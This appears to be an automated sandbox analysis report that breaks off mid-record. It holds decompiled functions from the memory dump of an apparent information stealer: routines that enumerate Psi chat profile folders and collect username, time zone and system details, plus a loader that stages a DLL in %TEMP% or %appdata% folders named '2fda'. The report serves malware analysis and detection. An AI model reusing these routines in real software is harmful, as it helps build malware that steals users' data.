0x0040dbee
0x0040dc02
0x0040dc07
0x0040dc0d
0x0040dc1d
0x0040dc2e
0x0040dc39
0x0040dc4b
0x0040dc5b
0x0040dc5c
0x0040dc6a
0x0040dc74
0x0040dc77
0x0040dc77
0x0040dbd3
0x0040dca4
0x0040dca7
0x0040dcb8
0x0040dcbb
0x0040dcbe
0x0040dcc9
0x0040dcd9
0x0040dce9
0x0040dcf9
0x0040dd04
0x0040dd14
0x0040dd24
0x0040dd34
0x0040dd41

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040DCAC,?,0040DD42,?,00000000,?,00000000,00000052,00000000,00000000,?,0040E22C,00000000), ref: 0040DB7D

Strings

\*.*, xrefs: 0040DB5D
%Appdata%\Psi\profiles\, xrefs: 0040DB38

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileFindFirst
String ID: %Appdata%\Psi\profiles\$\*.*
API String ID: 1974802433-2175982575
Opcode ID: c7ec57bf8c672a203fdb4048c355e7c84fabbd848f9c648ecac0f02140d13324
Instruction ID: 214fa972fbf10b26c199491e0b286bbd3c185120b4f6b389bb3b02b4992a6be8
Opcode Fuzzy Hash: c7ec57bf8c672a203fdb4048c355e7c84fabbd848f9c648ecac0f02140d13324
Instruction Fuzzy Hash: 692121349041189FDB51EF95D845A99B7BCEF84305F6041FBE408E3691DB38EF498A18

Uniqueness

Uniqueness Score: -1.00%

Function 00416794, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
timeCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E00416794(void* __eax, void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct _TIME_ZONE_INFORMATION _v176;
				char _v180;
				char _v184;
				char _v188;
				intOrPtr _t61;
				void* _t64;
				void* _t70;
				void* _t72;

				_t72 = __eflags;
				_v180 = 0;
				_v184 = 0;
				_v188 = 0;
				_t64 = __eax;
				_push(_t70);
				_push(0x41686c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t70 + 0xffffff48;
				GetTimeZoneInformation( &_v176); // executed
				_t50 = _v176.Bias;
				asm("cdq");
				asm("cdq");
				asm("cdq");
				_push(L"UTC+");
				E0040709C( ~(_v176.Bias / 0x3c),  ~(_v176.Bias / 0x3c),  &_v184, (_t50 % 0x0000003c ^ _t50 % 0x0000003c) - _t50 % 0x3c, _t72);
				_push(_v184);
				_push(E00416890);
				E0040709C((_t50 % 0x0000003c ^ _t50 % 0x0000003c) - _t50 % 0x3c,  ~(_v176.Bias / 0x3c),  &_v188, (_t50 % 0x0000003c ^ _t50 % 0x0000003c) - _t50 % 0x3c, _t72);
				_push(_v188);
				E00403E78();
				E0040377C(_t64, _v180);
				_pop(_t61);
				 *[fs:eax] = _t61;
				_push(E00416873);
				return E00403BF4( &_v188, 3);
			}

0x00416794
0x004167a2
0x004167a8
0x004167ae
0x004167b4
0x004167b8
0x004167b9
0x004167be
0x004167c1
0x004167d2
0x004167d4
0x004167e1
0x004167f3
0x004167fa
0x00416801
0x0041680e
0x00416813
0x00416819
0x00416826
0x0041682b
0x0041683c
0x00416849
0x00416850
0x00416853
0x00416856
0x0041686b

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,0041686C,?,-00000001,?,?,?,00416B6B,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4), ref: 004167D2

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

UTC+, xrefs: 00416801

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeInformationStringTimeZone
String ID: UTC+
API String ID: 3683333525-3251258214
Opcode ID: 549976580de52d8e50524d5790e3dc2bf69f86d843f9c85ce2f500230de1a8b7
Instruction ID: 8e8d8b066565444affa3d2364fa9f842ae8a96c50bbc19381f8be74e96bc39c6
Opcode Fuzzy Hash: 549976580de52d8e50524d5790e3dc2bf69f86d843f9c85ce2f500230de1a8b7
Instruction Fuzzy Hash: 2B118171B047189FE765DB2ACC41B9AB6FAEB8C300F1181B9B50CE3391D7349E45CA5A

Uniqueness

Uniqueness Score: -1.00%

Function 004065F0, Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004065F0(void* __eax) {
				short _v516;
				int _t7;
				void* _t12;
				DWORD* _t15;

				_t15 =  &_v516;
				_t12 = __eax;
				 *_t15 = 0xff;
				_t7 = GetUserNameW( &_v516, _t15); // executed
				if(_t7 == 0) {
					return E00403BDC(_t12);
				}
				return E00403D6C(_t12, 0x100,  &_v516);
			}

0x004065f1
0x004065f7
0x004065f9
0x0040660d
0x00406611
0x00000000
0x00406627
0x00000000

APIs

GetUserNameW.ADVAPI32(?,?,?,00406D53,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041872E,?), ref: 0040660D

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 13019b4b1f29ee0087aebdb125924ac5399b3b0493059617e1aab9744803bb35
Instruction ID: 8736a32cbc394a18a167da55deab102dfeb87f5e75d2630db682c36262db7282
Opcode Fuzzy Hash: 13019b4b1f29ee0087aebdb125924ac5399b3b0493059617e1aab9744803bb35
Instruction Fuzzy Hash: 26E086717042024BD310AF6CDC81A9976E89B48315F00483AB896D73D1FE3DDE189757

Uniqueness

Uniqueness Score: -1.00%

Function 00405668, Relevance: 217.3, APIs: 62, Strings: 62, Instructions: 307
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405668() {
				struct HINSTANCE__* _t108;
				struct HINSTANCE__* _t110;
				struct HINSTANCE__* _t112;
				struct HINSTANCE__* _t114;
				struct HINSTANCE__* _t115;
				struct HINSTANCE__* _t118;
				_Unknown_base(*)()* _t119;

				 *0x41c678 = LoadLibraryA("kernel32.dll");
				 *0x41c67c = GetProcAddress( *0x41c678, "ExpandEnvironmentStringsW");
				 *0x41c680 = GetProcAddress( *0x41c678, "GetComputerNameW");
				 *0x41c684 = GetProcAddress( *0x41c678, "GlobalMemoryStatus");
				 *0x41c688 = GetProcAddress( *0x41c678, "CreateFileW");
				 *0x41c68c = GetProcAddress( *0x41c678, "GetFileSize");
				 *0x41c690 = GetProcAddress( *0x41c678, "CloseHandle");
				 *0x41c694 = GetProcAddress( *0x41c678, "ReadFile");
				 *0x41c698 = GetProcAddress( *0x41c678, "GetFileAttributesW");
				 *0x41c69c = GetProcAddress( *0x41c678, "CreateMutexA");
				 *0x41c6a0 = GetProcAddress( *0x41c678, "ReleaseMutex");
				 *0x41c6a4 = GetProcAddress( *0x41c678, "GetLastError");
				 *0x41c6a8 = GetProcAddress( *0x41c678, "GetCurrentDirectoryW");
				 *0x41c6ac = GetProcAddress( *0x41c678, "SetEnvironmentVariableW");
				 *0x41c6b0 = GetProcAddress( *0x41c678, "SetCurrentDirectoryW");
				 *0x41c6b4 = GetProcAddress( *0x41c678, "FindFirstFileW");
				 *0x41c6b8 = GetProcAddress( *0x41c678, "FindNextFileW");
				 *0x41c6bc = GetProcAddress( *0x41c678, "LocalFree");
				 *0x41c6c0 = GetProcAddress( *0x41c678, "GetTickCount");
				 *0x41c6c4 = GetProcAddress( *0x41c678, "CopyFileW");
				 *0x41c6c8 = GetProcAddress( *0x41c678, "FindClose");
				 *0x41c6cc = GetProcAddress( *0x41c678, "GlobalMemoryStatusEx");
				 *0x41c6d0 = GetProcAddress( *0x41c678, "CreateToolhelp32Snapshot");
				 *0x41c6d4 = GetProcAddress( *0x41c678, "Process32FirstW");
				 *0x41c6d8 = GetProcAddress( *0x41c678, "Process32NextW");
				 *0x41c6dc = GetProcAddress( *0x41c678, "GetModuleFileNameW");
				 *0x41c6e0 = GetProcAddress( *0x41c678, "SetDllDirectoryW");
				 *0x41c6e4 = GetProcAddress( *0x41c678, "GetLocaleInfoA");
				 *0x41c6e8 = GetProcAddress( *0x41c678, "GetLocalTime");
				 *0x41c6ec = GetProcAddress( *0x41c678, "GetTimeZoneInformation");
				 *0x41c6f0 = GetProcAddress( *0x41c678, "RemoveDirectoryW");
				 *0x41c6f4 = GetProcAddress( *0x41c678, "DeleteFileW");
				 *0x41c6f8 = GetProcAddress( *0x41c678, "GetLogicalDriveStringsA");
				 *0x41c6fc = GetProcAddress( *0x41c678, "GetDriveTypeA");
				 *0x41c700 = GetProcAddress( *0x41c678, "CreateProcessW");
				 *0x41c704 = LoadLibraryA("advapi32.dll");
				 *0x41c708 = GetProcAddress( *0x41c704, "GetUserNameW");
				 *0x41c70c = GetProcAddress( *0x41c704, "RegCreateKeyExW");
				 *0x41c710 = GetProcAddress( *0x41c704, "RegQueryValueExW");
				 *0x41c714 = GetProcAddress( *0x41c704, "RegCloseKey");
				 *0x41c718 = GetProcAddress( *0x41c704, "RegOpenKeyExW");
				 *0x41c71c = GetProcAddress( *0x41c704, "AllocateAndInitializeSid");
				 *0x41c720 = GetProcAddress( *0x41c704, "LookupAccountSidA");
				 *0x41c724 = GetProcAddress( *0x41c704, "CreateProcessAsUserW");
				 *0x41c728 = GetProcAddress( *0x41c704, "CheckTokenMembership");
				 *0x41c72c = GetProcAddress( *0x41c704, "RegOpenKeyW");
				 *0x41c730 = GetProcAddress( *0x41c704, "RegEnumKeyW");
				 *0x41c734 = GetProcAddress( *0x41c704, "RegEnumValueW");
				 *0x41c738 = GetProcAddress( *0x41c704, "CryptAcquireContextA");
				 *0x41c73c = GetProcAddress( *0x41c704, "CryptCreateHash");
				 *0x41c740 = GetProcAddress( *0x41c704, "CryptHashData");
				 *0x41c744 = GetProcAddress( *0x41c704, "CryptGetHashParam");
				 *0x41c748 = GetProcAddress( *0x41c704, "CryptDestroyHash");
				 *0x41c74c = GetProcAddress( *0x41c704, "CryptReleaseContext");
				 *0x41c750 = LoadLibraryA("user32.dll");
				_t108 =  *0x41c750; // 0x74ea0000
				 *0x41c754 = GetProcAddress(_t108, "EnumDisplayDevicesW");
				_t110 =  *0x41c750; // 0x74ea0000
				 *0x41c758 = GetProcAddress(_t110, "wvsprintfA");
				_t112 =  *0x41c750; // 0x74ea0000
				 *0x41c75c = GetProcAddress(_t112, "GetKeyboardLayoutList");
				_t114 = LoadLibraryA("shell32.dll"); // executed
				 *0x41c760 = _t114;
				_t115 =  *0x41c760; // 0x75ed0000
				 *0x41c764 = GetProcAddress(_t115, "ShellExecuteExW");
				 *0x41c768 = LoadLibraryA("ntdll.dll");
				_t118 =  *0x41c768; // 0x779c0000
				_t119 = GetProcAddress(_t118, "RtlComputeCrc32");
				 *0x41c76c = _t119;
				return _t119;
			}

0x0040567e
0x0040568d
0x0040569f
0x004056b1
0x004056c3
0x004056d5
0x004056e7
0x004056f9
0x0040570b
0x0040571d
0x0040572f
0x00405741
0x00405753
0x00405765
0x00405777
0x00405789
0x0040579b
0x004057ad
0x004057bf
0x004057d1
0x004057e3
0x004057f5
0x00405807
0x00405819
0x0040582b
0x0040583d
0x0040584f
0x00405861
0x00405873
0x00405885
0x00405897
0x004058a9
0x004058bb
0x004058cd
0x004058df
0x004058ee
0x004058fd
0x0040590f
0x00405921
0x00405933
0x00405945
0x00405957
0x00405969
0x0040597b
0x0040598d
0x0040599f
0x004059b1
0x004059c3
0x004059d5
0x004059e7
0x004059f9
0x00405a0b
0x00405a1d
0x00405a2f
0x00405a3e
0x00405a48
0x00405a53
0x00405a5d
0x00405a68
0x00405a72
0x00405a7d
0x00405a87
0x00405a8c
0x00405a96
0x00405aa1
0x00405ab0
0x00405aba
0x00405ac0
0x00405ac5
0x00405acc

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00418711), ref: 00405679
GetProcAddress.KERNEL32(00000000,ExpandEnvironmentStringsW), ref: 00405688
GetProcAddress.KERNEL32(00000000,GetComputerNameW), ref: 0040569A
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatus), ref: 004056AC
GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 004056BE
GetProcAddress.KERNEL32(00000000,GetFileSize), ref: 004056D0
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 004056E2
GetProcAddress.KERNEL32(00000000,ReadFile), ref: 004056F4
GetProcAddress.KERNEL32(00000000,GetFileAttributesW), ref: 00405706
GetProcAddress.KERNEL32(00000000,CreateMutexA), ref: 00405718
GetProcAddress.KERNEL32(00000000,ReleaseMutex), ref: 0040572A
GetProcAddress.KERNEL32(00000000,GetLastError), ref: 0040573C
GetProcAddress.KERNEL32(00000000,GetCurrentDirectoryW), ref: 0040574E
GetProcAddress.KERNEL32(00000000,SetEnvironmentVariableW), ref: 00405760
GetProcAddress.KERNEL32(00000000,SetCurrentDirectoryW), ref: 00405772
GetProcAddress.KERNEL32(00000000,FindFirstFileW), ref: 00405784
GetProcAddress.KERNEL32(00000000,FindNextFileW), ref: 00405796
GetProcAddress.KERNEL32(00000000,LocalFree), ref: 004057A8
GetProcAddress.KERNEL32(00000000,GetTickCount), ref: 004057BA
GetProcAddress.KERNEL32(00000000,CopyFileW), ref: 004057CC
GetProcAddress.KERNEL32(00000000,FindClose), ref: 004057DE
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatusEx), ref: 004057F0
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 00405802
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 00405814
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 00405826
GetProcAddress.KERNEL32(00000000,GetModuleFileNameW), ref: 00405838
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040584A
GetProcAddress.KERNEL32(00000000,GetLocaleInfoA), ref: 0040585C
GetProcAddress.KERNEL32(00000000,GetLocalTime), ref: 0040586E
GetProcAddress.KERNEL32(00000000,GetTimeZoneInformation), ref: 00405880
GetProcAddress.KERNEL32(00000000,RemoveDirectoryW), ref: 00405892
GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 004058A4
GetProcAddress.KERNEL32(00000000,GetLogicalDriveStringsA), ref: 004058B6
GetProcAddress.KERNEL32(00000000,GetDriveTypeA), ref: 004058C8
GetProcAddress.KERNEL32(00000000,CreateProcessW), ref: 004058DA
LoadLibraryA.KERNEL32(advapi32.dll,00000000,CreateProcessW,00000000,GetDriveTypeA,00000000,GetLogicalDriveStringsA,00000000,DeleteFileW,00000000,RemoveDirectoryW,00000000,GetTimeZoneInformation,00000000,GetLocalTime,00000000), ref: 004058E9
GetProcAddress.KERNEL32(00000000,GetUserNameW), ref: 004058F8
GetProcAddress.KERNEL32(00000000,RegCreateKeyExW), ref: 0040590A
GetProcAddress.KERNEL32(00000000,RegQueryValueExW), ref: 0040591C
GetProcAddress.KERNEL32(00000000,RegCloseKey), ref: 0040592E
GetProcAddress.KERNEL32(00000000,RegOpenKeyExW), ref: 00405940
GetProcAddress.KERNEL32(00000000,AllocateAndInitializeSid), ref: 00405952
GetProcAddress.KERNEL32(00000000,LookupAccountSidA), ref: 00405964
GetProcAddress.KERNEL32(00000000,CreateProcessAsUserW), ref: 00405976
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00405988
GetProcAddress.KERNEL32(00000000,RegOpenKeyW), ref: 0040599A
GetProcAddress.KERNEL32(00000000,RegEnumKeyW), ref: 004059AC
GetProcAddress.KERNEL32(00000000,RegEnumValueW), ref: 004059BE
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 004059D0
GetProcAddress.KERNEL32(00000000,CryptCreateHash), ref: 004059E2
GetProcAddress.KERNEL32(00000000,CryptHashData), ref: 004059F4
GetProcAddress.KERNEL32(00000000,CryptGetHashParam), ref: 00405A06
GetProcAddress.KERNEL32(00000000,CryptDestroyHash), ref: 00405A18
GetProcAddress.KERNEL32(00000000,CryptReleaseContext), ref: 00405A2A
LoadLibraryA.KERNEL32(user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData,00000000,CryptCreateHash,00000000,CryptAcquireContextA,00000000,RegEnumValueW,00000000), ref: 00405A39
GetProcAddress.KERNEL32(74EA0000,EnumDisplayDevicesW), ref: 00405A4E
GetProcAddress.KERNEL32(74EA0000,wvsprintfA), ref: 00405A63
GetProcAddress.KERNEL32(74EA0000,GetKeyboardLayoutList), ref: 00405A78
LoadLibraryA.KERNEL32(shell32.dll,74EA0000,GetKeyboardLayoutList,74EA0000,wvsprintfA,74EA0000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData), ref: 00405A87
GetProcAddress.KERNEL32(75ED0000,ShellExecuteExW), ref: 00405A9C
LoadLibraryA.KERNEL32(ntdll.dll,75ED0000,ShellExecuteExW,shell32.dll,74EA0000,GetKeyboardLayoutList,74EA0000,wvsprintfA,74EA0000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000), ref: 00405AAB
GetProcAddress.KERNEL32(779C0000,RtlComputeCrc32), ref: 00405AC0

Strings

RegEnumKeyW, xrefs: 004059A4
RegCloseKey, xrefs: 00405926
GlobalMemoryStatus, xrefs: 004056A4
CryptCreateHash, xrefs: 004059DA
ReadFile, xrefs: 004056EC
GetFileSize, xrefs: 004056C8
GlobalMemoryStatusEx, xrefs: 004057E8
CryptReleaseContext, xrefs: 00405A22
SetDllDirectoryW, xrefs: 00405842
GetLogicalDriveStringsA, xrefs: 004058AE
CheckTokenMembership, xrefs: 00405980
SetEnvironmentVariableW, xrefs: 00405758
LocalFree, xrefs: 004057A0
GetKeyboardLayoutList, xrefs: 00405A6D
CreateProcessAsUserW, xrefs: 0040596E
RegOpenKeyW, xrefs: 00405992
ntdll.dll, xrefs: 00405AA6
GetTickCount, xrefs: 004057B2
CryptHashData, xrefs: 004059EC
SetCurrentDirectoryW, xrefs: 0040576A
RegQueryValueExW, xrefs: 00405914
ExpandEnvironmentStringsW, xrefs: 00405680
CreateMutexA, xrefs: 00405710
CryptGetHashParam, xrefs: 004059FE
GetLocaleInfoA, xrefs: 00405854
Process32FirstW, xrefs: 0040580C
user32.dll, xrefs: 00405A34
GetComputerNameW, xrefs: 00405692
shell32.dll, xrefs: 00405A82
GetDriveTypeA, xrefs: 004058C0
GetTimeZoneInformation, xrefs: 00405878
kernel32.dll, xrefs: 00405674
CreateFileW, xrefs: 004056B6
RegEnumValueW, xrefs: 004059B6
FindNextFileW, xrefs: 0040578E
GetLocalTime, xrefs: 00405866
RemoveDirectoryW, xrefs: 0040588A
CryptDestroyHash, xrefs: 00405A10
CreateToolhelp32Snapshot, xrefs: 004057FA
RegCreateKeyExW, xrefs: 00405902
GetUserNameW, xrefs: 004058F0
DeleteFileW, xrefs: 0040589C
wvsprintfA, xrefs: 00405A58
RtlComputeCrc32, xrefs: 00405AB5
CreateProcessW, xrefs: 004058D2
GetLastError, xrefs: 00405734
LookupAccountSidA, xrefs: 0040595C
ShellExecuteExW, xrefs: 00405A91
GetModuleFileNameW, xrefs: 00405830
FindClose, xrefs: 004057D6
RegOpenKeyExW, xrefs: 00405938
GetFileAttributesW, xrefs: 004056FE
GetCurrentDirectoryW, xrefs: 00405746
CryptAcquireContextA, xrefs: 004059C8
EnumDisplayDevicesW, xrefs: 00405A43
ReleaseMutex, xrefs: 00405722
CopyFileW, xrefs: 004057C4
CloseHandle, xrefs: 004056DA
advapi32.dll, xrefs: 004058E4
AllocateAndInitializeSid, xrefs: 0040594A
Process32NextW, xrefs: 0040581E
FindFirstFileW, xrefs: 0040577C

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: AllocateAndInitializeSid$CheckTokenMembership$CloseHandle$CopyFileW$CreateFileW$CreateMutexA$CreateProcessAsUserW$CreateProcessW$CreateToolhelp32Snapshot$CryptAcquireContextA$CryptCreateHash$CryptDestroyHash$CryptGetHashParam$CryptHashData$CryptReleaseContext$DeleteFileW$EnumDisplayDevicesW$ExpandEnvironmentStringsW$FindClose$FindFirstFileW$FindNextFileW$GetComputerNameW$GetCurrentDirectoryW$GetDriveTypeA$GetFileAttributesW$GetFileSize$GetKeyboardLayoutList$GetLastError$GetLocalTime$GetLocaleInfoA$GetLogicalDriveStringsA$GetModuleFileNameW$GetTickCount$GetTimeZoneInformation$GetUserNameW$GlobalMemoryStatus$GlobalMemoryStatusEx$LocalFree$LookupAccountSidA$Process32FirstW$Process32NextW$ReadFile$RegCloseKey$RegCreateKeyExW$RegEnumKeyW$RegEnumValueW$RegOpenKeyExW$RegOpenKeyW$RegQueryValueExW$ReleaseMutex$RemoveDirectoryW$RtlComputeCrc32$SetCurrentDirectoryW$SetDllDirectoryW$SetEnvironmentVariableW$ShellExecuteExW$advapi32.dll$kernel32.dll$ntdll.dll$shell32.dll$user32.dll$wvsprintfA
API String ID: 2238633743-3531362093
Opcode ID: 9660b240828e0248fa2e1cbcae2f49e551ae518504ec0fd7e682362848f263d4
Instruction ID: b4e9e9acb65dceb8197331e62ecd6ac44c6462922570a5848b60e957845f71d1
Opcode Fuzzy Hash: 9660b240828e0248fa2e1cbcae2f49e551ae518504ec0fd7e682362848f263d4
Instruction Fuzzy Hash: 6EB15BB1A90710AFD700BFA5DC86A6A37A8FB4A704351593BB550FF2E5D6789C008F9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040965C, Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 234
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040965C(intOrPtr* __eax, void* __ebx, void* __edx, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v117;
				void* _t18;
				void* _t34;
				intOrPtr* _t37;
				struct HINSTANCE__* _t49;
				intOrPtr* _t55;
				intOrPtr* _t60;
				intOrPtr* _t65;
				intOrPtr* _t70;
				intOrPtr* _t75;
				intOrPtr* _t80;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t100;
				intOrPtr* _t105;
				intOrPtr* _t110;
				intOrPtr* _t115;
				intOrPtr* _t132;
				intOrPtr* _t134;
				intOrPtr _t144;
				intOrPtr _t153;
				intOrPtr _t156;

				 *__eax =  *__eax + __eax;
				_t18 = __eax +  *__eax;
				 *_t18 =  *_t18 + _t18;
				asm("das");
				 *_t18 =  *_t18 + _t18;
				_t1 =  &_v117;
				 *_t1 = _v117 + __edx;
				_t156 =  *_t1;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_v8 = _t18;
				E00403980(_v8);
				_push(_t153);
				_push(0x409963);
				_push( *[fs:eax]);
				 *[fs:eax] = _t153;
				 *0x41b0d8 = 0;
				E004062FC(L"%TEMP%\\2fda\\",  &_v12, _t156);
				E00403C18(0x41ca5c, _v12);
				CreateDirectoryW(E00403D98( *0x41ca5c), 0); // executed
				E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t156);
				_t132 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v16,  *_t132,  *0x41ca5c, _t156);
				_t34 = E0040776C(_v16, 0x41ca58,  *_t132); // executed
				_t157 = _t34;
				if(_t34 == 0) {
					E004062FC(L"%appdata%\\2fda\\",  &_v20, _t157);
					E00403C18(0x41ca5c, _v20);
					CreateDirectoryW(E00403D98( *0x41ca5c), 0);
					E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t157);
				}
				_t37 =  *0x41b3ac; // 0x41c6ac
				 *((intOrPtr*)( *_t37))(L"PATH", E00403D98( *0x41ca5c));
				SetCurrentDirectoryW(E00403D98( *0x41ca5c)); // executed
				_t134 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v24,  *_t134,  *0x41ca5c, _t157);
				_t49 = LoadLibraryExW(E00403D98(_v24), 0, 8); // executed
				 *0x41ca58 = _t49;
				if( *0x41ca58 != 0) {
					_t55 =  *0x41b37c; // 0x41c994
					 *0x41ca20 = GetProcAddress( *0x41ca58, E00403990( *_t55));
					_t60 =  *0x41b42c; // 0x41c998
					 *0x41ca24 = GetProcAddress( *0x41ca58, E00403990( *_t60));
					_t65 =  *0x41b14c; // 0x41c99c
					 *0x41ca28 = GetProcAddress( *0x41ca58, E00403990( *_t65));
					_t70 =  *0x41b214; // 0x41c9a0
					 *0x41ca2c = GetProcAddress( *0x41ca58, E00403990( *_t70));
					_t75 =  *0x41b418; // 0x41c9a4
					 *0x41ca30 = GetProcAddress( *0x41ca58, E00403990( *_t75));
					_t80 =  *0x41b2a4; // 0x41c9a8
					 *0x41ca34 = GetProcAddress( *0x41ca58, E00403990( *_t80));
					_t85 =  *0x41b328; // 0x41c9ac
					 *0x41ca38 = GetProcAddress( *0x41ca58, E00403990( *_t85));
					_t90 =  *0x41b318; // 0x41c7d8
					 *0x41ca3c = GetProcAddress( *0x41ca58, E00403990( *_t90));
					_t95 =  *0x41b2bc; // 0x41c7dc
					 *0x41ca40 = GetProcAddress( *0x41ca58, E00403990( *_t95));
					_t100 =  *0x41b408; // 0x41c7e0
					 *0x41ca44 = GetProcAddress( *0x41ca58, E00403990( *_t100));
					_t105 =  *0x41b3b8; // 0x41c7e4
					 *0x41ca48 = GetProcAddress( *0x41ca58, E00403990( *_t105));
					_t110 =  *0x41b2f0; // 0x41c7e8
					 *0x41ca4c = GetProcAddress( *0x41ca58, E00403990( *_t110));
					_t115 =  *0x41b48c; // 0x41c7ec
					 *0x41ca50 = GetProcAddress( *0x41ca58, E00403990( *_t115));
					if( *0x41ca20 != 0 &&  *0x41ca24 != 0 &&  *0x41ca28 != 0 &&  *0x41ca2c != 0 &&  *0x41ca30 != 0 &&  *0x41ca34 != 0 &&  *0x41ca38 != 0 &&  *0x41ca3c != 0 &&  *0x41ca40 != 0 &&  *0x41ca44 != 0 &&  *0x41ca48 != 0 &&  *0x41ca4c != 0 &&  *0x41ca50 != 0) {
						 *0x41b0d8 = 1;
					}
				}
				_pop(_t144);
				 *[fs:eax] = _t144;
				_push(E0040996A);
				E00403BF4( &_v24, 4);
				return E004034E4( &_v8);
			}

0x0040965e
0x00409660
0x00409662
0x00409664
0x00409665
0x00409667
0x00409667
0x00409667
0x0040966d
0x0040966e
0x0040966f
0x00409670
0x00409671
0x00409672
0x00409674
0x0040967a
0x0040968b
0x0040968c
0x00409691
0x00409694
0x00409697
0x004096a6
0x004096b0
0x004096bf
0x004096c9
0x004096ce
0x004096db
0x004096e3
0x004096e8
0x004096ea
0x004096f4
0x004096fe
0x0040970d
0x00409717
0x00409717
0x00409729
0x00409730
0x00409741
0x00409747
0x00409754
0x00409762
0x00409767
0x0040976c
0x00409772
0x00409787
0x0040978c
0x004097a1
0x004097a6
0x004097bb
0x004097c0
0x004097d5
0x004097da
0x004097ef
0x004097f4
0x00409809
0x0040980e
0x00409823
0x00409828
0x0040983d
0x00409842
0x00409857
0x0040985c
0x00409871
0x00409876
0x0040988b
0x00409890
0x004098a5
0x004098aa
0x004098bf
0x004098cb
0x00409939
0x00409939
0x004098cb
0x00409942
0x00409945
0x00409948
0x00409955
0x00409962

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?), ref: 004096BF

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6), ref: 0040970D
SetCurrentDirectoryW.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?,00000000), ref: 00409741
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?), ref: 00409762
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409782
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040979C
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097B6
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097D0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097EA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409804
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040981E
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409838
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409852
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040986C
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409886
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098A0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098BA

Strings

%appdata%\2fda\, xrefs: 004096EF
%TEMP%\2fda\, xrefs: 004096A1
PATH, xrefs: 00409724

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$Directory$Create$AllocAttributesCurrentFileLibraryLoadString
String ID: %TEMP%\2fda\$%appdata%\2fda\$PATH
API String ID: 2652973473-1556614757
Opcode ID: 3dabca578a80f5a72b4bbe57d97a85dc37324ae0374c3875346d0a4ab4ac3a91
Instruction ID: 26d77c896aabed61a2775ccb06ba61d1ee422efe4d6d96ca95dbfc380ed6e43d
